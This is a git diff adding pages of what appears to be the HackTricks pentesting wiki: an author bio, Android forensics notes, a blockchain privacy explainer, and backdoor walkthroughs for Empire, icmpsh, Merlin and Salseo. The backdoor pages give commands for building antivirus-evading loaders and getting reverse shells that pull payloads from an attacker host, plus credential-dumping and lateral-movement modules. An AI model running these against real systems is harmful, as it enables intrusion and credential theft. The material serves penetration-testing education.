+**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it’s not mandatory.
+
+There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own.
+
+Here’s the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :\)
+
diff --git a/about-the-author.md b/about-the-author.md
new file mode 100644
index 00000000000..0ad8f853abe
--- /dev/null
+++ b/about-the-author.md
@@ -0,0 +1,31 @@
+# About the author
+
+### Hello!!
+
+This is **Carlos Polop**.
+
+First of all, I want to indicate that **I don't own this entire book**, a lot of **information was copy/pasted from other websites and that content belongs to them** \(this is indicated on the pages\).
+
+I also wants to say **thanks to all the people that share cyber-security related information for free** on the Internet. Thanks to them I learn new hacking techniques that then I add to Hacktricks.
+
+### BIO
+
+If for some weird reason you are interested in knowing about my bio here you have a summary:
+
+* I've worked in different companies as sysadmin, developer and **pentester**.
+* I'm a **Telecommunications Engineer** with a **Masters** in **Cybersecurity**
+* Relevant certifications: **OSCP, OSWE**, **CRTP, eMAPT, eWPTXv2** and Professional Drone pilot.
+* I speak **Spanish** and **English** and little of French \(some day I will improve that\).
+* I'm a **CTF player**
+* I'm very proud of this **book** and my **PEASS** \(I'm talking about these peass: [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)\)
+* And I really enjoy researching, playing CTFs, pentesting and everything related to **hacking**.
+
+### Support HackTricks
+
+Thank you for be **reading this**!
+
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
diff --git a/android-forensics.md b/android-forensics.md
new file mode 100644
index 00000000000..fe4bf492c3c
--- /dev/null
+++ b/android-forensics.md
@@ -0,0 +1,24 @@
+# Android Forensics
+
+## Locked Device
+
+To start extracting data from an Android device it has to be unlocked. If it's locked you can:
+
+* Check if the device has debugging via USB activated.
+* Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
+* Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
+
+## Data Adquisition
+
+Create an [android backup using adb](mobile-apps-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
+
+### If root access or physical connection to JTAG interface
+
+* `cat /proc/partitions` \(search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory\).
+* `df /data` \(Discover the block size of the system\).
+* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 \(execute it with the information gathered from the block size\).
+
+### Memory
+
+Use Linux Memory Extractor \(LiME\) to extract the RAM information. It's a kernel extension that should be loaded via adb.
+
diff --git a/backdoors/empire.md b/backdoors/empire.md
new file mode 100644
index 00000000000..cf0d31ceaee
--- /dev/null
+++ b/backdoors/empire.md
@@ -0,0 +1,6 @@
+---
+description: 'https://github.com/EmpireProject/Empire'
+---
+
+# Empire
+
diff --git a/backdoors/icmpsh.md b/backdoors/icmpsh.md
new file mode 100644
index 00000000000..b9b44431b74
--- /dev/null
+++ b/backdoors/icmpsh.md
@@ -0,0 +1,34 @@
+---
+description: 'https://github.com/inquisb/icmpsh'
+---
+
+# ICMPsh
+
+Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
+
+## Client side
+
+Execute the script: **run.sh**
+
+**If you get some error, try to change the lines:**
+
+```bash
+IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
+IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
+```
+
+**For:**
+
+```bash
+echo Please insert the IP where you want to listen
+read IP
+```
+
+## **Victim Side**
+
+Upload **icmpsh.exe** to the victim and execute:
+
+```bash
+icmpsh.exe -t -d 500 -b 30 -s 128
+```
+
diff --git a/backdoors/merlin.md b/backdoors/merlin.md
new file mode 100644
index 00000000000..4faa9e8895f
--- /dev/null
+++ b/backdoors/merlin.md
@@ -0,0 +1,95 @@
+---
+description: 'https://github.com/Ne0nd0g/merlin'
+---
+
+# Merlin
+
+## Installation
+
+### Install GO
+
+```text
+#Download GO package from: https://golang.org/dl/
+#Decompress the packe using:
+tar -C /usr/local -xzf go$VERSION.$OS-$ARCH.tar.gz
+
+#Change /etc/profile
+Add ":/usr/local/go/bin" to PATH
+Add "export GOPATH=$HOME/go"
+Add "export GOBIN=$GOPATH/bin"
+
+source /etc/profile
+```
+
+### Install Merlin
+
+```text
+go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch
+cd $GOPATH/src/github.com/Ne0nd0g/merlin/
+```
+
+## Launch Merlin Server
+
+```text
+go run cmd/merlinserver/main.go -i
+```
+
+## Merlin Agents
+
+You can [download precompiled agents](https://github.com/Ne0nd0g/merlin/releases)
+
+### Compile Agents
+
+Go to the main folder _$GOPATH/src/github.com/Ne0nd0g/merlin/_
+
+```text
+#User URL param to set the listener URL
+make #Server and Agents of all
+make windows #Server and Agents for Windows
+make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
+```
+
+### **Manual compile agents**
+
+```text
+GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
+```
+
+## Modules
+
+**The bad news is that every module used by Merlin is downloaded from the source \(github\) and saved indisk before using it. Forge about usingwell known modules because Windows Defender will catch you!**
+
+
+**SafetyKatz** --> Modified Mimikatz. Dump LSASS to file and launch:sekurlsa::logonpasswords to that file
+**SharpDump** --> minidump for the process ID specified \(LSASS by default\) \(Itsais that the extension of the final file is .gz but indeed it is.bin, but is agz file\)
+**SharpRoast** -->Kerberoast \(doesn't work\)
+**SeatBelt** --> Local Security Tests in CS \(does not work\) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs
+**Compiler-CSharp** --> Compile using csc.exe /unsafe
+**Sharp-Up** -->Allchecks in C\# in powerup \(works\)
+**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool \(doesn't works, need to load: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\)
+**Invoke-InternalMonologue** --> impersonates all available users and retrieves a challenge-response for each \(NTLM hash for each user\) \(bad url\)
+**Invoke-PowerThIEf** --> Steal forms from IExplorer or make it execute JS or inject a DLL in that process \(doesnt work\) \(and the PS looks like doesnt work either\) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1
+**LaZagneForensic** --> Get browser passwords \(works but dont prints the output directory\)
+**dumpCredStore** --> Win32 Credential Manager API \(https://github.com/zetlen/clortho/blob/master/CredMan.ps1\) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details
+**Get-InjectedThread** --> Detect classic injection in running processes \(Classic Injection \(OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread\)\) \(doesnt works\)
+**Get-OSTokenInformation** --> Get Token Info of the running processes and threads \(User, groups, privileges, owner… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token\_information\_class\)
+**Invoke-DCOM** --> Execute a command \(inother computer\) via DCOM \(http://www.enigma0x3.net.\) \(https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/\)
+**Invoke-DCOMPowerPointPivot** --> Execute a command in othe PC abusing PowerPoint COM objects \(ADDin\)
+**Invoke-ExcelMacroPivot** --> Execute a command in othe PC abusing DCOM in Excel
+**Find-ComputersWithRemoteAccessPolicies** --> \(not working\) \(https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/\)
+**Grouper** --> It dumps all the most interesting parts of group policy and then roots around in them for exploitable stuff. \(deprecated\) Take a look at Grouper2, looks really nice
+**Invoke-WMILM** --> WMI to move laterally
+**Get-GPPPassword** --> Look for groups.xml, scheduledtasks.xml, services.xmland datasources.xml and returns plaintext passwords \(insidedomain\)
+**Invoke-Mimikatz** --> Use mimikatz \(default dump creds\)
+**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
+**Find-BadPrivilege** --> Check the privileges of users in computers
+**Find-PotentiallyCrackableAccounts** --> retrieve information about user accounts associated with SPN \(Kerberoasting\)
+**psgetsystem** --> getsystem
+
+**Didn't check persistence modules**
+
+## Resume
+
+I really like the feeling and the potential of the tool.
+I hope the tool will start downloading the modules from the server and integrates some kind of evasion when downloading scripts.
+
diff --git a/backdoors/salseo.md b/backdoors/salseo.md
new file mode 100644
index 00000000000..9978025e6fc
--- /dev/null
+++ b/backdoors/salseo.md
@@ -0,0 +1,179 @@
+---
+description: 'https://github.com/Hackplayers/Salsa-tools'
+---
+
+# Salseo
+
+## Compiling the binaries
+
+Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
+
+Compile those projects for the architecture of the windows box where your are going to use them\(If the Windows supports x64 compile them for that architectures\).
+
+You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
+
+**\(**If you can't find this options press in **"Project Tab"** and then in **"<Project Name> Properties"**\)
+
+
+
+Then, build both projects \(Build -> Build Solution\) \(Inside the logs will appear the path of the executable\):
+
+
+
+## Prepare the Backdoor
+
+First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**
+
+### **Python**
+
+```text
+python EncrypterAssembly/encrypterassembly.py
+python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
+```
+
+### Windows
+
+```text
+EncrypterAssembly.exe
+EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
+```
+
+Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
+
+**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
+
+## **Execute the backdoor**
+
+### **Getting a TCP reverse shell \(downloading encoded dll through HTTP\)**
+
+Remember to start a nc as the reverse shell listener, and a HTTP server to serve the encoded evilsalsa.
+
+```text
+SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
+```
+
+### **Getting a UDP reverse shell \(downloading encoded dll through SMB\)**
+
+Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa \(impacket-smbserver\).
+
+```text
+SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
+```
+
+### **Getting a ICMP reverse shell \(encoded dll already inside the victim\)**
+
+**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)\*\*\*\*
+
+#### **Disable ICMP Replies:**
+
+```text
+sysctl -w net.ipv4.icmp_echo_ignore_all=1
+
+#You finish, you can enable it again running:
+sysctl -w net.ipv4.icmp_echo_ignore_all=0
+```
+
+#### Execute the client:
+
+```text
+python icmpsh_m.py "" ""
+```
+
+#### Inside the victim, lets execute the salseo thing:
+
+```text
+SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
+```
+
+## Compiling SalseoLoader as DLL exporting main function
+
+Open the SalseoLoader project using Visual Studio.
+
+### Add before the main function: \[DllExport\]
+
+
+
+### Install DllExport for this project
+
+#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
+
+
+
+#### **Search for DllExport package \(using Browse tab\), and press Install \(and accept the popup\)**
+
+
+
+In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat**
+
+### **U**ninstall DllExport
+
+Press **Uninstall** \(yeah, its weird but trust me, it is necessary\)
+
+
+
+### **Exit Visual Studio and execute DllExport\_configure**
+
+Just **exit** Visual Studio
+
+Then, go to your **SalseoLoader folder** and **execute DllExport\_Configure.bat**
+
+Select **x64** \(if you are going to use it inside a x64 box, that was my case\), select **System.Runtime.InteropServices** \(inside **Namespace for DllExport**\) and press **Apply**
+
+
+
+### **Open the project again with visual Studio**
+
+**\[DllExport\]** should not be longer marked as error
+
+
+
+### Build the solution
+
+Select **Output Type = Class Library** \(Project --> SalseoLoader Properties --> Application --> Output type = Class Library\)
+
+
+
+Select **x64** **platform** \(Project --> SalseoLoader Properties --> Build --> Platform target = x64\)
+
+
+
+To **build** the solution: Build --> Build Solution \(Inside the Output console the path of the new DLL will appear\)
+
+### Test the generated Dll
+
+Copy and paste the Dll where you want to test it.
+
+Execute:
+
+```text
+rundll32.exe SalseoLoader.dll,main
+```
+
+If not error appears, probably you have a functional dll!!
+
+## Get a shell using the Dll
+
+Don't forget to use a **HTTP** **server** and set a **nc** **listener**
+
+### Powershell
+
+```text
+$env:pass="password"
+$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
+$env:lhost="10.2.0.5"
+$env:lport="1337"
+$env:shell="reversetcp"
+rundll32.exe SalseoLoader.dll,main
+```
+
+### CMD
+
+```text
+set pass=password
+set payload=http://10.2.0.5/evilsalsax64.dll.txt
+set lhost=10.2.0.5
+set lport=1337
+set shell=reversetcp
+rundll32.exe SalseoLoader.dll,main
+```
+
diff --git a/blockchain/blockchain-and-crypto-currencies.md b/blockchain/blockchain-and-crypto-currencies.md
new file mode 100644
index 00000000000..e6e9d85afc8
--- /dev/null
+++ b/blockchain/blockchain-and-crypto-currencies.md
@@ -0,0 +1,283 @@
+# Blockchain & Crypto Currencies
+
+## Basic Terminology
+
+* **Smart contract**: Smart contracts are simply **programs stored on a blockchain that run when predetermined conditions are met**. They typically are used to automate the **execution** of an **agreement** so that all participants can be immediately certain of the outcome, without any intermediary’s involvement or time loss. \(From [here](https://www.ibm.com/topics/smart-contracts)\).
+ * Basically, a smart contract is a **piece of code** that is going to be executed when people access and accept the contract. Smart contracts **run in blockchains** \(so the results are stored inmutable\) and can be read by the people before accepting them.
+* **dApps**: **Decentralised applications** are implemented on top of **smart** **contracts**. They usually have a front-end where the user can interact with the app, the **back-end** is public \(so it can be audited\) and is implemented as a **smart contract**. Sometimes the use of a database is needed, Ethereum blockchain allocates certain storage to each account.
+* **Tokens & coins**: A **coin** is a cryptocurrency that act as **digital** **money** and a **token** is something that **represents** some **value** but it's not a coin.
+ * **Utility Tokens**: These tokens allow the user to **access certain service later** \(it's something that have some value in a specific environment\).
+ * **Security Tokens**: These represents the **ownership** or some asset.
+* **DeFi**: **Decentralized Finance**.
+* **DEX: Decentralized Exchange Platforms**.
+* **DAOs**: **Decentralized Autonomous Organizations**.
+
+## Consensus Mechanisms
+
+For a blockchain transaction to be recognized, it must be **appended** to the **blockchain**. Validators \(miners\) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**.
+
+Proof of work, another commonly used consensus mechanism, uses a validation of computational prowess to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.
+
+### Proof Of Work \(PoW\)
+
+This uses a **validation of computational prowess** to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.
+The **miners** will **select several transactions** and then start **computing the Proof Of Work**. The **miner with the greatest computation resources** is more probably to **finish** **earlier** the Proof of Work and get the fees of all the transactions.
+
+### Proof Of Stake \(PoS\)
+
+PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens** on the blockchain to mount an attack.
+In this kind of consensus, the more tokens a miner has, the more probably it will be that the miner will be asked to create the next block.
+Compared with PoW, this greatly **reduced the energy consumption** the miners are expending.
+
+## Bitcoin
+
+### Transactions
+
+A simple **transaction** is a **movement of money** from an address to another one.
+An **address** in bitcoin is the hash of the **public** **key**, therefore, someone in order to make a transaction from an address he needs to know the private key associated to that public key \(the address\).
+Then, when a **transaction** is performed, it's **signed** with the private key of the address to show that the transaction is **legit**.
+
+The first part of producing a digital signature in Bitcoin can be represented mathematically in the following way:
+_**Sig**_ = _**Fsig**_\(_**Fhash**_\(_**m**_\),_**dA**_\)
+
+Where:
+
+* _d_A is the signing **private key**
+* _m_ is the **transaction**
+* Fhash is the hashing function
+* Fsig is the signing algorithm
+* Sig is the resulting signature
+
+The signing function \(Fsig\) produces a signature \(Sig\) that comprises of two values: R and S:
+
+* Sig = \(R, S\)
+
+Once R and S have been calculated, they are serialized into a byte stream that is encoded using an international standard encoding scheme that is known as the Distinguished Encoding Rules \(or DER\). In order to verify that the signature is valid, a signature verification algorithm is used. Verification of a digital signature requires the following:
+
+* Signature \(R and S\)
+* Transaction hash
+* The public key that corresponds to the private key that was used to create the signature
+
+Verification of a signature effectively means that only the owner of the private key \(that generated the public key\) could have produced the signature on the transaction. The signature verification algorithm will return ‘TRUE’ if the signature is indeed valid.
+
+#### Multisignature Transactions
+
+A multi-signature **address** is an address that is associated with more than one ECDSA private key. The simplest type is an m-of-n address - it is associated with n private keys, and sending bitcoins from this address requires signatures from at least m keys. A multi-signature **transaction** is one that sends funds from a multi-signature address.
+
+#### Transactions Fields
+
+Each bitcoin transaction has several fields:
+
+* **Inputs**: The amount and address **from** where **bitcoins** are **being** transferred
+* **Outputs**: The address and amounts that each **transferred** to **each** **output**
+* **Fee:** The amount of **money** that is **payed** to the **miner** of the transaction
+* **Script\_sig**: Script signature of the transaction
+* **Script\_type**: Type of transaction
+
+There are **2 main types** of transactions:
+
+* **P2PKH: "Pay To Public Key Hash"**: This is how transactions are made. You are requiring the **sender** to supply a valid **signature** \(from the private key\) and **public** **key**. The transaction output script will use the signature and public key and through some cryptographic functions will check **if it matches** with the public key hash, if it does, then the **funds** will be **spendable**. This method conceals your public key in the form of a hash for extra security.
+* **P2SH: "Pay To Script Hash":** The outputs of a transaction are just **scripts** \(this means the person how want this money send a script\) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts **logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one.
+
+### Lightning Network
+
+This protocol helps to **perform several transactions to a channe**l and **just** **sent** the **final** **state** to the blockchain to save it.
+This **improves** bitcoin blockchain **speed** \(it just on allow 7 payments per second\) and it allows to create **transactions more difficult to trace** as the channel is created via nodes of the bitcoin blockchain:
+
+
+
+Normal use of the Lightning Network consists of **opening a payment channel** by committing a funding transaction to the relevant base blockchain \(layer 1\), followed by making **any number** of Lightning Network **transactions** that update the tentative distribution of the channel's funds **without broadcasting those to the blockchain**, optionally followed by closing the payment channel by **broadcasting** the **final** **version** of the settlement transaction to distribute the channel's funds.
+
+Note that any of the both members of the channel can stop and send the final state of the channel to the blockchain at any time.
+
+## Bitcoin Privacy Attacks
+
+### Common Input
+
+Theoretically the inputs of one transaction can belong to different users, but in reality that is unusual as it requires extra steps. Therefore, very often it can be assumed that **2 input addresses in the same transaction belongs to the same owner**.
+
+### UTXO Change Address Detection
+
+**UTXO** means **Unspent Transaction Outputs** \(UTXOs\). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** \(to avoid double-spend attacks\). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**, **2 different outputs** will appear: the **intended** one and a **random new change address** where the rest of the money will be saved.
+
+Then, a watcher can make the assumption that **the new change address generated belong to the owner of the UTXO**.
+
+### Social Networks & Forums
+
+Some people gives data about theirs bitcoin addresses in different webs on Internet. **This make pretty easy to identify the owner of an address**.
+
+### Transaction Graphs
+
+By representing the transactions in graphs, i**t's possible to know with certain probability to where the money of an account were**. Therefore, it's possible to know something about **users** that are **related** in the blockchain.
+
+### **Unnecessary input heuristic**
+
+Also called the "optimal change heuristic". Consider this bitcoin transaction. It has two inputs worth 2 BTC and 3 BTC and two outputs worth 4 BTC and 1 BTC.
+
+```text
+2 btc --> 4 btc
+3 btc 1 btc
+```
+
+Assuming one of the outputs is change and the other output is the payment. There are two interpretations: the payment output is either the 4 BTC output or the 1 BTC output. But if the 1 BTC output is the payment amount then the 3 BTC input is unnecessary, as the wallet could have spent only the 2 BTC input and paid lower miner fees for doing so. This is an indication that the real payment output is 4 BTC and that 1 BTC is the change output.
+
+This is an issue for transactions which have more than one input. One way to fix this leak is to add more inputs until the change output is higher than any input, for example:
+
+```text
+2 btc --> 4 btc
+3 btc 6 btc
+5 btc
+```
+
+### Forced address reuse
+
+**Forced address reuse** or **incentivized address reuse** is when an adversary pays an \(often small\) amount of bitcoin to addresses that have already been used on the block chain. The adversary hopes that users or their wallet software **will use the payments as inputs to a larger transaction which will reveal other addresses via the the common-input-ownership** heuristic. These payments can be understood as a way to coerce the address owner into unintentional address reuse.
+
+This attack is sometimes incorrectly called a **dust attack**.
+
+The correct behaviour by wallets is to not spend coins that have landed on an already-used empty addresses.
+
+### Other Blockchain Analysis
+
+* **Exact Payment Amounts**: In order to avoid transactions with a change, the payment needs to be equal to the UTXO \(which is highly unexpected\). Therefore, a **transaction with no change address are probably transfer between 2 addresses of the same user**.
+* **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that** "round number" **price**, so the other part must be the leftover.
+* **Wallet fingerprinting:** A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint.
+* **Amount & Timing correlations**: If the person that performed the transaction **discloses** the **time** and/or **amount** of the transaction, it can be easily **discoverable**.
+
+### Traffic analysis
+
+Some organisation **sniffing your traffic** can see you communicating in the bitcoin network.
+If the adversary sees a transaction or block **coming out of your node which did not previously enter**, then it can know with near-certainty that **the transaction was made by you or the block was mined by you**. As internet connections are involved, the adversary will be able to **link the IP address with the discovered bitcoin information**.
+
+An attacker that isn't able to sniff all the Internet traffic but that has **a lot of Bitcoin nodes** in order to stay **closer** to the s**o**urces could be able to know the IP address that are announcing transactions or blocks.
+Also, some wallets periodically rebroadcast their unconfirmed transactions so that they are more likely to propagate widely through the network and be mined.
+
+### Other attacks to find info about the owner of addresses
+
+For more attacks read [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)
+
+## Anonymous Bitcoins
+
+### Obtaining Bitcoins Anonymously
+
+* **Cash trades:** Buy bitcoin using cash.
+* **Cash substitute:** Buy gift cards or similar and exchange them for bitcoin online.
+* **Mining:** Mining is the most anonymous way to obtain bitcoin. This applies to solo-mining as [mining pools](https://en.bitcoin.it/wiki/Pooled_mining) generally know the hasher's IP address.
+* **Stealing:** In theory another way of obtaining anonymous bitcoin is to steal them.
+
+### Mixers
+
+A user would **send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be **unable to link** the incoming and outgoing transactions.
+
+However, the user needs to trust the mixing service to return the bitcoin and also to not be saving logs about the relations between the money received and sent.
+Some other services can be also used as mixers, like Bitcoin casinos where you can send bitcoins and retrieve them later.
+
+### CoinJoin
+
+**CoinJoin** will **mix several transactions of different users into just one** in order to make more **difficult** for an observer to find out **which input is related to which output**.
+This offers a new level of privacy, however, **some** **transactions** where some input and output amounts are correlated or are very different from the rest of the inputs and outputs **can still be correlated** by the external observer.
+
+Examples of \(likely\) CoinJoin transactions IDs on bitcoin's blockchain are `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+
+[**https://coinjoin.io/en**](https://coinjoin.io/en)
+**Similar to coinjoin but better and for ethereum you have** [**Tornado Cash**](https://tornado.cash/) **\(the money is given from miners, so it jus appear in your waller\).**
+
+### PayJoin
+
+The type of CoinJoin discussed in the previous section can be easily identified as such by checking for the multiple outputs with the same value.
+
+PayJoin \(also called pay-to-end-point or P2EP\) is a special type of CoinJoin between two parties where one party pays the other. The transaction then **doesn't have the distinctive multiple outputs** with the same value, and so is not obviously visible as an equal-output CoinJoin. Consider this transaction:
+
+```text
+2 btc --> 3 btc
+5 btc 4 btc
+```
+
+It could be interpreted as a simple transaction paying to somewhere with leftover change \(ignore for now the question of which output is payment and which is change\). Another way to interpret this transaction is that the 2 BTC input is owned by a merchant and 5 BTC is owned by their customer, and that this transaction involves the customer paying 1 BTC to the merchant. There is no way to tell which of these two interpretations is correct. The result is a coinjoin transaction that breaks the common-input-ownership heuristic and improves privacy, but is also **undetectable and indistinguishable from any regular bitcoin transaction**.
+
+If PayJoin transactions became even moderately used then it would make the **common-input-ownership heuristic be completely flawed in practice**. As they are undetectable we wouldn't even know whether they are being used today. As transaction surveillance companies mostly depend on that heuristic, as of 2019 there is great excitement about the PayJoin idea.
+
+## Bitcoin Privacy Good Practices
+
+### Wallet Synchronization
+
+Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet** \(which is maximally private\) and **client-side block filtering** \(which is very good\).
+
+* **Full node:** Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in.
+* **Client-side block filtering:** Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an **element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance.
+
+### Tor
+
+Bitcoin network uses a peer-to-peer network, which means that other peers can learn your IP address. This is why it's recommend to **connect through Tor every time you want to interact with the bitcoin network**.
+
+### Avoiding address reuse
+
+**Addresses being used more than once is very damaging to privacy because that links together more blockchain transactions with proof that they were created by the same entity**. The most private and secure way to use bitcoin is to send a brand **new address to each person who pays you**. After the received coins have been spent the address should never be used again. Also, a brand new bitcoin address should be demanded when sending bitcoin. All good bitcoin wallets have a user interface which discourages address reuse.
+
+### Multiple transactions
+
+**Paying** someone with **more than one on-chain transaction** can greatly reduce the power of amount-based privacy attacks such as amount correlation and round numbers. For example, if the user wants to pay 5 BTC to somebody and they don't want the 5 BTC value to be easily searched for, then they can send two transactions for the value of 2 BTC and 3 BTC which together add up to 5 BTC.
+
+### Change avoidance
+
+Change avoidance is where transaction inputs and outputs are carefully chosen to not require a change output at all. **Not having a change output is excellent for privacy**, as it breaks change detection heuristics.
+
+### Multiple change outputs
+
+If change avoidance is not an option then **creating more than one change output can improve privacy**. This also breaks change detection heuristics which usually assume there is only a single change output. As this method uses more block space than usual, change avoidance is preferable.
+
+## Monero
+
+When Monero was developed, the gaping need for **complete anonymity** was what it sought to resolve, and to a large extent, it has filled that void.
+
+## Ethereum
+
+### Gas
+
+Gas refers to the unit that measures the **amount** of **computational** **effort** required to execute specific operations on the Ethereum network. Gas refers to the **fee** required to successfully conduct a **transaction** on Ethereum.
+
+Gas prices are denoted in **gwei**, which itself is a denomination of ETH - each gwei is equal to **0.000000001 ETH** \(10-9 ETH\). For example, instead of saying that your gas costs 0.000000001 ether, you can say your gas costs 1 gwei. The word 'gwei' itself means 'giga-wei', and it is equal to **1,000,000,000 wei**. Wei itself is the **smallest unit of ETH**.
+
+To calculate the gas that a transaction is going to cost read this example:
+
+Let’s say Jordan has to pay Taylor 1 ETH. In the transaction the gas limit is 21,000 units and the base fee is 100 gwei. Jordan includes a tip of 10 gwei.
+
+Using the formula above we can calculate this as `21,000 * (100 + 10) = 2,310,000 gwei` or 0.00231 ETH.
+
+When Jordan sends the money, 1.00231 ETH will be deducted from Jordan's account. Taylor will be credited 1.0000 ETH. Miner receives the tip of 0.00021 ETH. Base fee of 0.0021 ETH is burned.
+
+Additionally, Jordan can also set a max fee \(`maxFeePerGas`\) for the transaction. The difference between the max fee and the actual fee is refunded to Jordan, i.e. `refund = max fee - (base fee + priority fee)`. Jordan can set a maximum amount to pay for the transaction to execute and not worry about overpaying "beyond" the base fee when the transaction is executed.
+
+As the base fee is calculated by the network based on demand for block space, this last param: maxFeePerGas helps to control the maximum fee that is going to be payed.
+
+### Transactions
+
+Notice that in the **Ethereum** network a transaction is performed between 2 addresses and these can be **user or smart contract addresses**.
+**Smart Contracts** are stored in the distributed ledger via a **special** **transaction**.
+
+Transactions, which change the state of the EVM, need to be broadcast to the whole network. Any node can broadcast a request for a transaction to be executed on the EVM; after this happens, a **miner** will **execute** the **transaction** and propagate the resulting state change to the rest of the network.
+Transactions require a **fee** and must be mined to become valid.
+
+A submitted transaction includes the following information:
+
+* `recipient` – the receiving address \(if an externally-owned account, the transaction will transfer value. If a contract account, the transaction will execute the contract code\)
